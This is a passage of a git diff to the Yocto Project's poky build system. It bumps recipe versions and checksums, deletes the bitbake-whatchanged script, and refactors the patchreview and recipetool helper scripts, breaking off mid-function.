@@ -15,7 +15,7 @@ SECTION = "libs"
SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/${BP}.tar.gz \
file://0001-cmake-Do-not-export-CC-into-gir-compiler.patch \
"
-SRC_URI[sha256sum] = "b44705dd71ca4538c86fb16248483ab4b48978524fb1da5097bd76aa2e0f0c33"
+SRC_URI[sha256sum] = "bcda9a6db6870240328752854d1ea475af9bbc6356e6771018200e475e5f781b"
inherit cmake pkgconfig gobject-introspection vala github-releases
diff --git a/poky/meta/recipes-support/libsoup/libsoup_3.4.2.bb b/poky/meta/recipes-support/libsoup/libsoup_3.4.4.bb
index 3996ae6836..6d382a7852 100644
--- a/poky/meta/recipes-support/libsoup/libsoup_3.4.2.bb
+++ b/poky/meta/recipes-support/libsoup/libsoup_3.4.4.bb
@@ -12,7 +12,7 @@ DEPENDS = "glib-2.0 glib-2.0-native libxml2 sqlite3 libpsl nghttp2"
SHRT_VER = "${@d.getVar('PV').split('.')[0]}.${@d.getVar('PV').split('.')[1]}"
SRC_URI = "${GNOME_MIRROR}/libsoup/${SHRT_VER}/libsoup-${PV}.tar.xz"
-SRC_URI[sha256sum] = "78c8fa37cb152d40ec8c4a148d6155e2f6947f3f1602a7cda3a31ad40f5ee2f3"
+SRC_URI[sha256sum] = "291c67725f36ed90ea43efff25064b69c5a2d1981488477c05c481a3b4b0c5aa"
PROVIDES = "libsoup-3.0"
CVE_PRODUCT = "libsoup"
diff --git a/poky/meta/recipes-support/shared-mime-info/shared-mime-info_git.bb b/poky/meta/recipes-support/shared-mime-info/shared-mime-info_2.4.bb
index 387dd7bbad..5ba4023609 100644
--- a/poky/meta/recipes-support/shared-mime-info/shared-mime-info_git.bb
+++ b/poky/meta/recipes-support/shared-mime-info/shared-mime-info_2.4.bb
@@ -9,8 +9,8 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
DEPENDS = "libxml2 itstool-native glib-2.0 shared-mime-info-native xmlto-native"
SRC_URI = "git://gitlab.freedesktop.org/xdg/shared-mime-info.git;protocol=https;branch=master"
-SRCREV = "13695c7225c2f525a435e72739c33ac32bbfbbb9"
-PV = "2.2"
+SRCREV = "9a6d6b8e963935f145f3a1ef446552de6996dada"
+
S = "${WORKDIR}/git"
inherit meson pkgconfig gettext python3native mime
diff --git a/poky/meta/recipes-support/sqlite/sqlite3_3.43.1.bb b/poky/meta/recipes-support/sqlite/sqlite3_3.44.0.bb
index 93146358c7..d498154889 100644
--- a/poky/meta/recipes-support/sqlite/sqlite3_3.43.1.bb
+++ b/poky/meta/recipes-support/sqlite/sqlite3_3.44.0.bb
@@ -4,7 +4,7 @@ LICENSE = "PD"
LIC_FILES_CHKSUM = "file://sqlite3.h;endline=11;md5=786d3dc581eff03f4fd9e4a77ed00c66"
SRC_URI = "http://www.sqlite.org/2023/sqlite-autoconf-${SQLITE_PV}.tar.gz"
-SRC_URI[sha256sum] = "39116c94e76630f22d54cd82c3cea308565f1715f716d1b2527f1c9c969ba4d9"
+SRC_URI[sha256sum] = "b9cd386e7cd22af6e0d2a0f06d0404951e1bef109e42ea06cc0450e10cd15550"
CVE_STATUS[CVE-2023-36191] = "disputed: The error is a bug. It has been fixed upstream. But it is not a vulnerability"
diff --git a/poky/meta/recipes-support/vim/vim.inc b/poky/meta/recipes-support/vim/vim.inc
index 5f55f590e6..a37310afd8 100644
--- a/poky/meta/recipes-support/vim/vim.inc
+++ b/poky/meta/recipes-support/vim/vim.inc
@@ -19,8 +19,8 @@ SRC_URI = "git://github.com/vim/vim.git;branch=master;protocol=https \
file://no-path-adjust.patch \
"
-PV .= ".1894"
-SRCREV = "e5f7cd0a60d0eeab84f7aeb35c13d3af7e50072e"
+PV .= ".2068"
+SRCREV = "9198c1f2b1ddecde22af918541e0de2a32f0f45a"
# Do not consider .z in x.y.z, as that is updated with every commit
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+\.\d+)\.0"
@@ -40,22 +40,18 @@ do_configure () {
cd src
rm -f auto/*
touch auto/config.mk
+ # git timestamps aren't reliable, so touch the shipped .po files so they aren't regenerated
+ touch -c po/cs.cp1250.po po/ja.euc-jp.po po/ja.sjis.po po/ko.po po/pl.UTF-8.po po/pl.cp1250.po po/ru.cp1251.po po/sk.cp1250.po po/uk.cp1251.po po/zh_CN.po po/zh_CN.cp936.po po/zh_TW.po
+ # ru.cp1251.po uses CP1251 rather than cp1251, fix that
+ sed -i -e s/CP1251/cp1251/ po/ru.cp1251.po
aclocal
autoconf
cd ..
oe_runconf
touch src/auto/configure
touch src/auto/config.mk src/auto/config.h
-}
-
-do_compile() {
- # We do not support fully / correctly the following locales. Attempting
- # to use these with msgfmt in order to update the ".desktop" files exposes
- # this problem and leads to the compile failing.
- for LOCALE in cs fr ko pl sk zh_CN zh_TW;do
- echo -n > src/po/${LOCALE}.po
- done
- autotools_do_compile
+ # need a native tool, not a target one
+ ${BUILD_CC} src/po/sjiscorr.c -o src/po/sjiscorr
}
PACKAGECONFIG ??= "\
diff --git a/poky/meta/recipes-support/vte/vte_0.72.2.bb b/poky/meta/recipes-support/vte/vte_0.72.2.bb
index 4249b75ac0..44e71491f6 100644
--- a/poky/meta/recipes-support/vte/vte_0.72.2.bb
+++ b/poky/meta/recipes-support/vte/vte_0.72.2.bb
@@ -13,7 +13,6 @@ LIC_FILES_CHKSUM = " \
DEPENDS = "glib-2.0 glib-2.0-native gtk+3 libpcre2 libxml2-native gperf-native icu"
-GNOMEBASEBUILDCLASS = "meson"
GIR_MESON_OPTION = 'gir'
GIDOCGEN_MESON_OPTION = "docs"
diff --git a/poky/scripts/bitbake-whatchanged b/poky/scripts/bitbake-whatchanged
deleted file mode 100755
index cdb730dbdb..0000000000
--- a/poky/scripts/bitbake-whatchanged
+++ /dev/null
@@ -1,318 +0,0 @@
-#!/usr/bin/env python3
-#
-# Copyright (c) 2013 Wind River Systems, Inc.
-#
-# SPDX-License-Identifier: GPL-2.0-only
-#
-
-import os
-import sys
-import getopt
-import shutil
-import re
-import warnings
-import subprocess
-import argparse
-
-scripts_path = os.path.abspath(os.path.dirname(os.path.abspath(sys.argv[0])))
-lib_path = scripts_path + '/lib'
-sys.path = sys.path + [lib_path]
-
-import scriptpath
-
-# Figure out where is the bitbake/lib/bb since we need bb.siggen and bb.process
-bitbakepath = scriptpath.add_bitbake_lib_path()
-if not bitbakepath:
- sys.stderr.write("Unable to find bitbake by searching parent directory of this script or PATH\n")
- sys.exit(1)
-scriptpath.add_oe_lib_path()
-import argparse_oe
-
-import bb.siggen
-import bb.process
-
-# Match the stamp's filename
-# group(1): PE_PV (may no PE)
-# group(2): PR
-# group(3): TASK
-# group(4): HASH
-stamp_re = re.compile("(?P<pv>.*)-(?P<pr>r\d+)\.(?P<task>do_\w+)\.(?P<hash>[^\.]*)")
-sigdata_re = re.compile(".*\.sigdata\..*")
-
-def gen_dict(stamps):
- """
- Generate the dict from the stamps dir.
- The output dict format is:
- {fake_f: {pn: PN, pv: PV, pr: PR, task: TASK, path: PATH}}
- Where:
- fake_f: pv + task + hash
- path: the path to the stamp file
- """
- # The member of the sub dict (A "path" will be appended below)
- sub_mem = ("pv", "pr", "task")
- d = {}
- for dirpath, _, files in os.walk(stamps):
- for f in files:
- # The "bitbake -S" would generate ".sigdata", but no "_setscene".
- fake_f = re.sub('_setscene.', '.', f)
- fake_f = re.sub('.sigdata', '', fake_f)
- subdict = {}
- tmp = stamp_re.match(fake_f)
- if tmp:
- for i in sub_mem:
- subdict[i] = tmp.group(i)
- if len(subdict) != 0:
- pn = os.path.basename(dirpath)
- subdict['pn'] = pn
- # The path will be used by os.stat() and bb.siggen
- subdict['path'] = dirpath + "/" + f
- fake_f = tmp.group('pv') + tmp.group('task') + tmp.group('hash')
- d[fake_f] = subdict
- return d
-
-# Re-construct the dict
-def recon_dict(dict_in):
- """
- The output dict format is:
- {pn_task: {pv: PV, pr: PR, path: PATH}}
- """
- dict_out = {}
- for k in dict_in.keys():
- subdict = {}
- # The key
- pn_task = "%s_%s" % (dict_in.get(k).get('pn'), dict_in.get(k).get('task'))
- # If more than one stamps are found, use the latest one.
- if pn_task in dict_out:
- full_path_pre = dict_out.get(pn_task).get('path')
- full_path_cur = dict_in.get(k).get('path')
- if os.stat(full_path_pre).st_mtime > os.stat(full_path_cur).st_mtime:
- continue
- subdict['pv'] = dict_in.get(k).get('pv')
- subdict['pr'] = dict_in.get(k).get('pr')
- subdict['path'] = dict_in.get(k).get('path')
- dict_out[pn_task] = subdict
-
- return dict_out
-
-def split_pntask(s):
- """
- Split the pn_task in to (pn, task) and return it
- """
- tmp = re.match("(.*)_(do_.*)", s)
- return (tmp.group(1), tmp.group(2))
-
-
-def print_added(d_new = None, d_old = None):
- """
- Print the newly added tasks
- """
- added = {}
- for k in list(d_new.keys()):
- if k not in d_old:
- # Add the new one to added dict, and remove it from
- # d_new, so the remaining ones are the changed ones
- added[k] = d_new.get(k)
- del(d_new[k])
-
- if not added:
- return 0
-
- # Format the output, the dict format is:
- # {pn: task1, task2 ...}
- added_format = {}
- counter = 0
- for k in added.keys():
- pn, task = split_pntask(k)
- if pn in added_format:
- # Append the value
- added_format[pn] = "%s %s" % (added_format.get(pn), task)
- else:
- added_format[pn] = task
- counter += 1
- print("=== Newly added tasks: (%s tasks)" % counter)
- for k in added_format.keys():
- print(" %s: %s" % (k, added_format.get(k)))
-
- return counter
-
-def print_vrchanged(d_new = None, d_old = None, vr = None):
- """
- Print the pv or pr changed tasks.
- The arg "vr" is "pv" or "pr"
- """
- pvchanged = {}
- counter = 0
- for k in list(d_new.keys()):
- if d_new.get(k).get(vr) != d_old.get(k).get(vr):
- counter += 1
- pn, task = split_pntask(k)
- if pn not in pvchanged:
- # Format the output, we only print pn (no task) since
- # all the tasks would be changed when pn or pr changed,
- # the dict format is:
- # {pn: pv/pr_old -> pv/pr_new}
- pvchanged[pn] = "%s -> %s" % (d_old.get(k).get(vr), d_new.get(k).get(vr))
- del(d_new[k])
-
- if not pvchanged:
- return 0
-
- print("\n=== %s changed: (%s tasks)" % (vr.upper(), counter))
- for k in pvchanged.keys():
- print(" %s: %s" % (k, pvchanged.get(k)))
-
- return counter
-
-def print_depchanged(d_new = None, d_old = None, verbose = False):
- """
- Print the dependency changes
- """
- depchanged = {}
- counter = 0
- for k in d_new.keys():
- counter += 1
- pn, task = split_pntask(k)
- if (verbose):
- full_path_old = d_old.get(k).get("path")
- full_path_new = d_new.get(k).get("path")
- # No counter since it is not ready here
- if sigdata_re.match(full_path_old) and sigdata_re.match(full_path_new):
- output = bb.siggen.compare_sigfiles(full_path_old, full_path_new)
- if output:
- print("\n=== The verbose changes of %s.%s:" % (pn, task))
- print('\n'.join(output))
- else:
- # Format the output, the format is:
- # {pn: task1, task2, ...}
- if pn in depchanged:
- depchanged[pn] = "%s %s" % (depchanged.get(pn), task)
- else:
- depchanged[pn] = task
-
- if len(depchanged) > 0:
- print("\n=== Dependencies changed: (%s tasks)" % counter)
- for k in depchanged.keys():
- print(" %s: %s" % (k, depchanged[k]))
-
- return counter
-
-
-def main():
- """
- Print what will be done between the current and last builds:
- 1) Run "STAMPS_DIR=<path> bitbake -S recipe" to re-generate the stamps
- 2) Figure out what are newly added and changed, can't figure out
- what are removed since we can't know the previous stamps
- clearly, for example, if there are several builds, we can't know
- which stamps the last build has used exactly.
- 3) Use bb.siggen.compare_sigfiles to diff the old and new stamps
- """
-
- parser = argparse_oe.ArgumentParser(usage = """%(prog)s [options] [package ...]
-print what will be done between the current and last builds, for example:
-
- $ bitbake core-image-sato
- # Edit the recipes
- $ bitbake-whatchanged core-image-sato
-
-The changes will be printed.
-
-Note:
- The amount of tasks is not accurate when the task is "do_build" since
- it usually depends on other tasks.
- The "nostamp" task is not included.
-"""
-)
- parser.add_argument("recipe", help="recipe to check")
- parser.add_argument("-v", "--verbose", help = "print the verbose changes", action = "store_true")
- args = parser.parse_args()
-
- # Get the STAMPS_DIR
- print("Figuring out the STAMPS_DIR ...")
- cmdline = "bitbake -e | sed -ne 's/^STAMPS_DIR=\"\(.*\)\"/\\1/p'"
- try:
- stampsdir, err = bb.process.run(cmdline)
- except:
- raise
- if not stampsdir:
- print("ERROR: No STAMPS_DIR found for '%s'" % args.recipe, file=sys.stderr)
- return 2
- stampsdir = stampsdir.rstrip("\n")
- if not os.path.isdir(stampsdir):
- print("ERROR: stamps directory \"%s\" not found!" % stampsdir, file=sys.stderr)
- return 2
-
- # The new stamps dir
- new_stampsdir = stampsdir + ".bbs"
- if os.path.exists(new_stampsdir):
- print("ERROR: %s already exists!" % new_stampsdir, file=sys.stderr)
- return 2
-
- try:
- # Generate the new stamps dir
- print("Generating the new stamps ... (need several minutes)")
- cmdline = "STAMPS_DIR=%s bitbake -S none %s" % (new_stampsdir, args.recipe)
- # FIXME
- # The "bitbake -S" may fail, not fatal error, the stamps will still
- # be generated, this might be a bug of "bitbake -S".
- try:
- bb.process.run(cmdline)
- except Exception as exc:
- print(exc)
-
- # The dict for the new and old stamps.
- old_dict = gen_dict(stampsdir)
- new_dict = gen_dict(new_stampsdir)
-
- # Remove the same one from both stamps.
- cnt_unchanged = 0
- for k in list(new_dict.keys()):
- if k in old_dict:
- cnt_unchanged += 1
- del(new_dict[k])
- del(old_dict[k])
-
- # Re-construct the dict to easily find out what is added or changed.
- # The dict format is:
- # {pn_task: {pv: PV, pr: PR, path: PATH}}
- new_recon = recon_dict(new_dict)
- old_recon = recon_dict(old_dict)
-
- del new_dict
- del old_dict
-
- # Figure out what are changed, the new_recon would be changed
- # by the print_xxx function.
- # Newly added
- cnt_added = print_added(new_recon, old_recon)
-
- # PV (including PE) and PR changed
- # Let the bb.siggen handle them if verbose
- cnt_rv = {}
- if not args.verbose:
- for i in ('pv', 'pr'):
- cnt_rv[i] = print_vrchanged(new_recon, old_recon, i)
-
- # Dependencies changed (use bitbake-diffsigs)
- cnt_dep = print_depchanged(new_recon, old_recon, args.verbose)
-
- total_changed = cnt_added + (cnt_rv.get('pv') or 0) + (cnt_rv.get('pr') or 0) + cnt_dep
-
- print("\n=== Summary: (%s changed, %s unchanged)" % (total_changed, cnt_unchanged))
- if args.verbose:
- print("Newly added: %s\nDependencies changed: %s\n" % \
- (cnt_added, cnt_dep))
- else:
- print("Newly added: %s\nPV changed: %s\nPR changed: %s\nDependencies changed: %s\n" % \
- (cnt_added, cnt_rv.get('pv') or 0, cnt_rv.get('pr') or 0, cnt_dep))
- except:
- print("ERROR occurred!")
- raise
- finally:
- # Remove the newly generated stamps dir
- if os.path.exists(new_stampsdir):
- print("Removing the newly generated stamps dir ...")
- shutil.rmtree(new_stampsdir)
-
-if __name__ == "__main__":
- sys.exit(main())
diff --git a/poky/scripts/contrib/bb-perf/bb-matrix-plot.sh b/poky/scripts/contrib/bb-perf/bb-matrix-plot.sh
index e7bd129e9e..6672189c95 100755
--- a/poky/scripts/contrib/bb-perf/bb-matrix-plot.sh
+++ b/poky/scripts/contrib/bb-perf/bb-matrix-plot.sh
@@ -16,8 +16,8 @@
# Setup the defaults
DATFILE="bb-matrix.dat"
-XLABEL="BB_NUMBER_THREADS"
-YLABEL="PARALLEL_MAKE"
+XLABEL="BB\\\\_NUMBER\\\\_THREADS"
+YLABEL="PARALLEL\\\\_MAKE"
FIELD=3
DEF_TITLE="Elapsed Time (seconds)"
PM3D_FRAGMENT="unset surface; set pm3d at s hidden3d 100"
diff --git a/poky/scripts/contrib/patchreview.py b/poky/scripts/contrib/patchreview.py
index b22cc07f0a..bceae06561 100755
--- a/poky/scripts/contrib/patchreview.py
+++ b/poky/scripts/contrib/patchreview.py
@@ -5,6 +5,15 @@
# SPDX-License-Identifier: GPL-2.0-only
#
+import argparse
+import collections
+import json
+import os
+import os.path
+import pathlib
+import re
+import subprocess
+
# TODO
# - option to just list all broken files
# - test suite
@@ -35,14 +44,12 @@ def blame_patch(patch):
From a patch filename, return a list of "commit summary (author name <author
email>)" strings representing the history.
"""
- import subprocess
return subprocess.check_output(("git", "log",
"--follow", "--find-renames", "--diff-filter=A",
"--format=%s (%aN <%aE>)",
"--", patch)).decode("utf-8").splitlines()
-def patchreview(path, patches):
- import re, os.path
+def patchreview(patches):
# General pattern: start of line, optional whitespace, tag with optional
# hyphen or spaces, maybe a colon, some whitespace, then the value, all case
@@ -56,11 +63,10 @@ def patchreview(path, patches):
for patch in patches:
- fullpath = os.path.join(path, patch)
result = Result()
- results[fullpath] = result
+ results[patch] = result
- content = open(fullpath, encoding='ascii', errors='ignore').read()
+ content = open(patch, encoding='ascii', errors='ignore').read()
# Find the Signed-off-by tag
match = sob_re.search(content)
@@ -193,29 +199,56 @@ Patches in Pending state: %s""" % (total_patches,
def histogram(results):
from toolz import recipes, dicttoolz
import math
+
counts = recipes.countby(lambda r: r.upstream_status, results.values())
bars = dicttoolz.valmap(lambda v: "#" * int(math.ceil(float(v) / len(results) * 100)), counts)
for k in bars:
print("%-20s %s (%d)" % (k.capitalize() if k else "No status", bars[k], counts[k]))
+def find_layers(candidate):
+ # candidate can either be the path to a layer directly (eg meta-intel), or a
+ # repository that contains other layers (meta-arm). We can determine what by
+ # looking for a conf/layer.conf file. If that file exists then it's a layer,
+ # otherwise its a repository of layers and we can assume they're called
+ # meta-*.
+
+ if (candidate / "conf" / "layer.conf").exists():
+ return [candidate.absolute()]
+ else:
+ return [d.absolute() for d in candidate.iterdir() if d.is_dir() and (d.name == "meta" or d.name.startswith("meta-"))]
+
+# TODO these don't actually handle dynamic-layers/
+
+def gather_patches(layers):
+ patches = []
+ for directory in layers:
+ filenames = subprocess.check_output(("git", "-C", directory, "ls-files", "recipes-*/**/*.patch", "recipes-*/**/*.diff"), universal_newlines=True).split()
+ patches += [os.path.join(directory, f) for f in filenames]
+ return patches
+
+def count_recipes(layers):
+ count = 0
+ for directory in layers:
+ output = subprocess.check_output(["git", "-C", directory, "ls-files", "recipes-*/**/*.bb"], universal_newlines=True)
+ count += len(output.splitlines())
+ return count
if __name__ == "__main__":
- import argparse, subprocess, os
-
args = argparse.ArgumentParser(description="Patch Review Tool")
args.add_argument("-b", "--blame", action="store_true", help="show blame for malformed patches")
args.add_argument("-v", "--verbose", action="store_true", help="show per-patch results")
args.add_argument("-g", "--histogram", action="store_true", help="show patch histogram")
args.add_argument("-j", "--json", help="update JSON")
- args.add_argument("directory", help="directory to scan")
+ args.add_argument("directory", type=pathlib.Path, metavar="DIRECTORY", help="directory to scan (layer, or repository of layers)")
args = args.parse_args()
- patches = subprocess.check_output(("git", "-C", args.directory, "ls-files", "recipes-*/**/*.patch", "recipes-*/**/*.diff")).decode("utf-8").split()
- results = patchreview(args.directory, patches)
+ layers = find_layers(args.directory)
+ print(f"Found layers {' '.join((d.name for d in layers))}")
+ patches = gather_patches(layers)
+ results = patchreview(patches)
analyse(results, want_blame=args.blame, verbose=args.verbose)
if args.json:
- import json, os.path, collections
if os.path.isfile(args.json):
data = json.load(open(args.json))
else:
@@ -223,8 +256,11 @@ if __name__ == "__main__":
row = collections.Counter()
row["total"] = len(results)
- row["date"] = subprocess.check_output(["git", "-C", args.directory, "show", "-s", "--pretty=format:%cd", "--date=format:%s"]).decode("utf-8").strip()
- row["commit"] = subprocess.check_output(["git", "-C", args.directory, "show", "-s", "--pretty=format:%H"]).decode("utf-8").strip()
+ row["date"] = subprocess.check_output(["git", "-C", args.directory, "show", "-s", "--pretty=format:%cd", "--date=format:%s"], universal_newlines=True).strip()
+ row["commit"] = subprocess.check_output(["git", "-C", args.directory, "rev-parse", "HEAD"], universal_newlines=True).strip()
+ row['commit_count'] = subprocess.check_output(["git", "-C", args.directory, "rev-list", "--count", "HEAD"], universal_newlines=True).strip()
+ row['recipe_count'] = count_recipes(layers)
+
for r in results.values():
if r.upstream_status in status_values:
row[r.upstream_status] += 1
diff --git a/poky/scripts/esdk-tools/devtool b/poky/scripts/esdk-tools/devtool
new file mode 120000
index 0000000000..176a01ca68
--- /dev/null
+++ b/poky/scripts/esdk-tools/devtool
@@ -0,0 +1 @@
+../devtool \ No newline at end of file
diff --git a/poky/scripts/esdk-tools/oe-find-native-sysroot b/poky/scripts/esdk-tools/oe-find-native-sysroot
new file mode 120000
index 0000000000..d3493f3310
--- /dev/null
+++ b/poky/scripts/esdk-tools/oe-find-native-sysroot
@@ -0,0 +1 @@
+../oe-find-native-sysroot \ No newline at end of file
diff --git a/poky/scripts/esdk-tools/recipetool b/poky/scripts/esdk-tools/recipetool
new file mode 120000
index 0000000000..60a95dd936
--- /dev/null
+++ b/poky/scripts/esdk-tools/recipetool
@@ -0,0 +1 @@
+../recipetool \ No newline at end of file
diff --git a/poky/scripts/esdk-tools/runqemu b/poky/scripts/esdk-tools/runqemu
new file mode 120000
index 0000000000..ae7e7ad7c2
--- /dev/null
+++ b/poky/scripts/esdk-tools/runqemu
@@ -0,0 +1 @@
+../runqemu \ No newline at end of file
diff --git a/poky/scripts/esdk-tools/runqemu-addptable2image b/poky/scripts/esdk-tools/runqemu-addptable2image
new file mode 120000
index 0000000000..afcd00e79d
--- /dev/null
+++ b/poky/scripts/esdk-tools/runqemu-addptable2image
@@ -0,0 +1 @@
+../runqemu-addptable2image \ No newline at end of file
diff --git a/poky/scripts/esdk-tools/runqemu-export-rootfs b/poky/scripts/esdk-tools/runqemu-export-rootfs
new file mode 120000
index 0000000000..a26fcf6110
--- /dev/null
+++ b/poky/scripts/esdk-tools/runqemu-export-rootfs
@@ -0,0 +1 @@
+../runqemu-export-rootfs \ No newline at end of file
diff --git a/poky/scripts/esdk-tools/runqemu-extract-sdk b/poky/scripts/esdk-tools/runqemu-extract-sdk
new file mode 120000
index 0000000000..cc858aaad5
--- /dev/null
+++ b/poky/scripts/esdk-tools/runqemu-extract-sdk
@@ -0,0 +1 @@
+../runqemu-extract-sdk \ No newline at end of file
diff --git a/poky/scripts/esdk-tools/runqemu-gen-tapdevs b/poky/scripts/esdk-tools/runqemu-gen-tapdevs
new file mode 120000
index 0000000000..dbdf79134c
--- /dev/null
+++ b/poky/scripts/esdk-tools/runqemu-gen-tapdevs
@@ -0,0 +1 @@
+../runqemu-gen-tapdevs \ No newline at end of file
diff --git a/poky/scripts/esdk-tools/runqemu-ifdown b/poky/scripts/esdk-tools/runqemu-ifdown
new file mode 120000
index 0000000000..0097693ca3
--- /dev/null
+++ b/poky/scripts/esdk-tools/runqemu-ifdown
@@ -0,0 +1 @@
+../runqemu-ifdown \ No newline at end of file
diff --git a/poky/scripts/esdk-tools/runqemu-ifup b/poky/scripts/esdk-tools/runqemu-ifup
new file mode 120000
index 0000000000..41026d2c0a
--- /dev/null
+++ b/poky/scripts/esdk-tools/runqemu-ifup
@@ -0,0 +1 @@
+../runqemu-ifup \ No newline at end of file
diff --git a/poky/scripts/esdk-tools/wic b/poky/scripts/esdk-tools/wic
new file mode 120000
index 0000000000..a9d908aa25
--- /dev/null
+++ b/poky/scripts/esdk-tools/wic
@@ -0,0 +1 @@
+../wic \ No newline at end of file
diff --git a/poky/scripts/lib/checklayer/__init__.py b/poky/scripts/lib/checklayer/__init__.py
index 0a0db2f02a..8271ed7fe3 100644
--- a/poky/scripts/lib/checklayer/__init__.py
+++ b/poky/scripts/lib/checklayer/__init__.py
@@ -307,7 +307,7 @@ def get_signatures(builddir, failsafe=False, machine=None, extravars=None):
cmd += 'bitbake '
if failsafe:
cmd += '-k '
- cmd += '-S none world'
+ cmd += '-S lockedsigs world'
sigs_file = os.path.join(builddir, 'locked-sigs.inc')
if os.path.exists(sigs_file):
os.unlink(sigs_file)
diff --git a/poky/scripts/lib/recipetool/create.py b/poky/scripts/lib/recipetool/create.py
index 143bc63e9d..293198d1c8 100644
--- a/poky/scripts/lib/recipetool/create.py
+++ b/poky/scripts/lib/recipetool/create.py
@@ -1212,7 +1212,7 @@ def guess_license(srctree, d):
licenses = []
licspecs = ['*LICEN[CS]E*', 'COPYING*', '*[Ll]icense*', 'LEGAL*', '[Ll]egal*', '*GPL*', 'README.lic*', 'COPYRIGHT*', '[Cc]opyright*', 'e[dp]l-v10']
- skip_extensions = (".html", ".js", ".json", ".svg", ".ts")
+ skip_extensions = (".html", ".js", ".json", ".svg", ".ts", ".go")
licfiles = []
for root, dirs, files in os.walk(srctree):
for fn in files:
diff --git a/poky/scripts/lib/recipetool/create_buildsys_python.py b/poky/scripts/lib/recipetool/create_buildsys_python.py
index 92468b2254..9312e4abf1 100644
--- a/poky/scripts/lib/recipetool/create_buildsys_python.py
+++ b/poky/scripts/lib/recipetool/create_buildsys_python.py
@@ -37,63 +37,8 @@ class PythonRecipeHandler(RecipeHandler):
assume_provided = ['builtins', 'os.path']
# Assumes that the host python3 builtin_module_names is sane for target too
assume_provided = assume_provided + list(sys.builtin_module_names)
+ excluded_fields = []
- bbvar_map = {
- 'Name': 'PN',
- 'Version': 'PV',
- 'Home-page': 'HOMEPAGE',
- 'Summary': 'SUMMARY',
- 'Description': 'DESCRIPTION',
- 'License': 'LICENSE',
- 'Requires': 'RDEPENDS:${PN}',
- 'Provides': 'RPROVIDES:${PN}',
- 'Obsoletes': 'RREPLACES:${PN}',
- }
- # PN/PV are already set by recipetool core & desc can be extremely long
- excluded_fields = [
- 'Description',
- ]
- setup_parse_map = {
- 'Url': 'Home-page',
- 'Classifiers': 'Classifier',
- 'Description': 'Summary',
- }
- setuparg_map = {
- 'Home-page': 'url',
- 'Classifier': 'classifiers',
- 'Summary': 'description',
- 'Description': 'long-description',
- }
- # Values which are lists, used by the setup.py argument based metadata
- # extraction method, to determine how to process the setup.py output.
- setuparg_list_fields = [
- 'Classifier',
- 'Requires',
- 'Provides',
- 'Obsoletes',
- 'Platform',
- 'Supported-Platform',
- ]
- setuparg_multi_line_values = ['Description']
- replacements = [
- ('License', r' +$', ''),
- ('License', r'^ +', ''),
- ('License', r' ', '-'),
- ('License', r'^GNU-', ''),
- ('License', r'-[Ll]icen[cs]e(,?-[Vv]ersion)?', ''),
- ('License', r'^UNKNOWN$', ''),
-
- # Remove currently unhandled version numbers from these variables
- ('Requires', r' *\([^)]*\)', ''),
- ('Provides', r' *\([^)]*\)', ''),
- ('Obsoletes', r' *\([^)]*\)', ''),
- ('Install-requires', r'^([^><= ]+).*', r'\1'),
- ('Extras-require', r'^([^><= ]+).*', r'\1'),
- ('Tests-require', r'^([^><= ]+).*', r'\1'),
-
- # Remove unhandled dependency on particular features (e.g. foo[PDF])
- ('Install-requires', r'\[[^\]]+\]$', ''),
- ]
classifier_license_map = {
'License :: OSI Approved :: Academic Free License (AFL)': 'AFL',
@@ -166,7 +111,398 @@ class PythonRecipeHandler(RecipeHandler):
def __init__(self):
pass
+ def handle_classifier_license(self, classifiers, existing_licenses=""):
+
+ licenses = []
+ for classifier in classifiers:
+ if classifier in self.classifier_license_map:
+ license = self.classifier_license_map[classifier]
+ if license == 'Apache' and 'Apache-2.0' in existing_licenses:
+ license = 'Apache-2.0'
+ elif license == 'GPL':
+ if 'GPL-2.0' in existing_licenses or 'GPLv2' in existing_licenses:
+ license = 'GPL-2.0'
+ elif 'GPL-3.0' in existing_licenses or 'GPLv3' in existing_licenses:
+ license = 'GPL-3.0'
+ elif license == 'LGPL':
+ if 'LGPL-2.1' in existing_licenses or 'LGPLv2.1' in existing_licenses:
+ license = 'LGPL-2.1'
+ elif 'LGPL-2.0' in existing_licenses or 'LGPLv2' in existing_licenses:
+ license = 'LGPL-2.0'
+ elif 'LGPL-3.0' in existing_licenses or 'LGPLv3' in existing_licenses:
+ license = 'LGPL-3.0'
+ licenses.append(license)
+
+ if licenses:
+ return ' & '.join(licenses)
+
+ return None
+
+ def map_info_to_bbvar(self, info, extravalues):
+
+ # Map PKG-INFO & setup.py fields to bitbake variables
+ for field, values in info.items():
+ if field in self.excluded_fields:
+ continue
+
+ if field not in self.bbvar_map:
+ continue
+
+ if isinstance(values, str):
+ value = values
+ else:
+ value = ' '.join(str(v) for v in values if v)
+
+ bbvar = self.bbvar_map[field]
+ if bbvar == "PN":
+ # by convention python recipes start with "python3-"
+ if not value.startswith('python'):
+ value = 'python3-' + value
+
+ if bbvar not in extravalues and value:
+ extravalues[bbvar] = value
+
+ def apply_info_replacements(self, info):
+ if not self.replacements:
+ return
+
+ for variable, search, replace in self.replacements:
+ if variable not in info:
+ continue
+
+ def replace_value(search, replace, value):
+ if replace is None:
+ if re.search(search, value):
+ return None
+ else:
+ new_value = re.sub(search, replace, value)
+ if value != new_value:
+ return new_value
+ return value
+
+ value = info[variable]
+ if isinstance(value, str):
+ new_value = replace_value(search, replace, value)
+ if new_value is None:
+ del info[variable]
+ elif new_value != value:
+ info[variable] = new_value
+ elif hasattr(value, 'items'):
+ for dkey, dvalue in list(value.items()):
+ new_list = []
+ for pos, a_value in enumerate(dvalue):
+ new_value = replace_value(search, replace, a_value)
+ if new_value is not None and new_value != value:
+ new_list.append(new_value)
+
+ if value != new_list:
+ value[dkey] = new_list
+ else:
+ new_list = []
+ for pos, a_value in enumerate(value):
+ new_value = replace_value(search, replace, a_value)
+ if new_value is not None and new_value != value:
+ new_list.append(new_value)
+
+ if value != new_list:
+ info[variable] = new_list
+
+
+ def scan_python_dependencies(self, paths):
+ deps = set()
+ try:
+ dep_output = self.run_command(['pythondeps', '-d'] + paths)
+ except (OSError, subprocess.CalledProcessError):
+ pass
+ else:
+ for line in dep_output.splitlines():
+ line = line.rstrip()
+ dep, filename = line.split('\t', 1)
+ if filename.endswith('/setup.py'):
+ continue
+ deps.add(dep)
+
+ try:
+ provides_output = self.run_command(['pythondeps', '-p'] + paths)
+ except (OSError, subprocess.CalledProcessError):
+ pass
+ else:
+ provides_lines = (l.rstrip() for l in provides_output.splitlines())
+ provides = set(l for l in provides_lines if l and l != 'setup')
